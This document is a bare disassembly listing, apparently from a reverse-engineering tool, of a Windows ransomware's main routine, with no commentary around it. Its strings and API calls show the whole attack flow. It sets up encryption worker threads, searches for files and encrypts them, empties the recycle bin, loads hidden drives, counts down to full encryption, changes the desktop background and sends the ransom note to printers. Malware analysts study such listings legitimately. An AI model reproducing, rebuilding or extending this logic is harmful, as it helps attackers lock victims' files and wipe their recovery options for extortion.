mov eax, dword [ebp - 8]
mov dword [0x42a340], esi
push ecx
mov byte [esi + eax], 0
call fcn.00406240
add esp, 4
mov dword [0x42a340], eax
cmp byte [0x42a33c], 0
je 0x407f34
push str.___Successfully_decoded_readme__n
call fcn.00401330
add esp, 4
push 0x42a34c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x42a360]
push 0
push 0
push 0
push 0xffffffffffffffff
lea edi, [eax*4]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x42a344], eax
xor ecx, ecx
mov eax, edi
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00410afa
add esp, 4
mov dword [0x42a348], eax
xor esi, esi
test edi, edi
jle 0x407fb3
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
nop word [eax + eax]
push 0
push 0
push dword [0x42a344]
push 0x405640
push 0
push 0
call ebx
mov ecx, dword [0x42a348]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, edi
jl 0x407f90
mov cl, byte [0x42a33c]
test cl, cl
je 0x407fd0
push str.___Threads_are_initialized__n
call fcn.00401330
mov cl, byte [0x42a33c]
add esp, 4
mov eax, dword [0x42a344]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x42a334], eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40802d
xor edi, edi
cmp dword [ebp - 0x14], edi
jbe 0x408102
lea esi, [edi*4]
test cl, cl
je 0x408010
push dword [esi + eax]
push str.___Searching_files_in__s_n
call fcn.004012f0
mov eax, dword [ebp - 0x18]
add esp, 8
mov ecx, dword [esi + eax]
call fcn.00404e10
inc edi
cmp edi, dword [ebp - 0x14]
jae 0x408102
mov eax, dword [ebp - 0x18]
mov cl, byte [0x42a33c]
jmp 0x407ff2
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40807b
xor edi, edi
cmp dword [ebp - 0x1c], edi
jbe 0x408102
nop
lea esi, [edi*4]
test cl, cl
je 0x40805e
push dword [esi + eax]
push str.___Encrypting_file:__s_n
call fcn.004012f0
mov eax, dword [ebp - 0x20]
add esp, 8
mov ecx, dword [esi + eax]
call fcn.00405a30
inc edi
cmp edi, dword [ebp - 0x1c]
jae 0x408102
mov eax, dword [ebp - 0x20]
mov cl, byte [0x42a33c]
jmp 0x408040
test cl, cl
je 0x40808c
push str.___Recycling_bin..._n
call fcn.004012f0
add esp, 4
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
cmp byte [0x42a33b], 0
je 0x4080bc
cmp byte [0x42a33c], 0
je 0x4080b7
push str.___Loading_hidden_drives..._n
call fcn.004012f0
add esp, 4
call fcn.004049b0
cmp byte [0x42a33c], 0
je 0x4080fd
push str.___Starting_full_encryption_in_5s
call fcn.004012f0
add esp, 4
mov esi, 5
push 0x3e8
call ebx
push 0x4255b8
call fcn.004012f0
add esp, 4
sub esi, 1
jne 0x4080d7
push 0x425ea8
call fcn.004012f0
add esp, 4
call fcn.004053b0
mov eax, dword [0x42a360]
mov esi, 0x42a330
lea edi, [eax*4]
push 0x3e8
call ebx
xor eax, eax
lock xadd dword [esi], eax
test eax, eax
jg 0x408113
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x188
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x188
mov ebx, eax
push 0
push ebx
call fcn.0040b280
add esp, 0xc
mov dword [ebx + 0x34], 7
test edi, edi
jle 0x40816e
mov esi, edi
push ebx
push 0
push 0
push dword [0x42a344]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub esi, 1
jne 0x408158
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0xffffffffffffffff
push 1
push dword [0x42a348]
push edi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor esi, esi
test edi, edi
jle 0x4081af
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [eax + eax]
mov eax, dword [0x42a348]
push dword [eax + esi*4]
call ebx
inc esi
cmp esi, edi
jl 0x4081a0
cmp byte [ebp - 0xc], 0
jne 0x4081d0
cmp byte [0x42a33c], 0
je 0x4081cb
push str.___Changing_background_image..._n
call fcn.004012f0
add esp, 4
call fcn.00406dd0
cmp byte [ebp - 0xb], 0
jne 0x4081f1
cmp byte [0x42a33c], 0
je 0x4081ec
push str.___Sending_note_to_printers..._n
call fcn.00401330
add esp, 4
call fcn.004071d0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409fba
mov esp, ebp
pop ebp
ret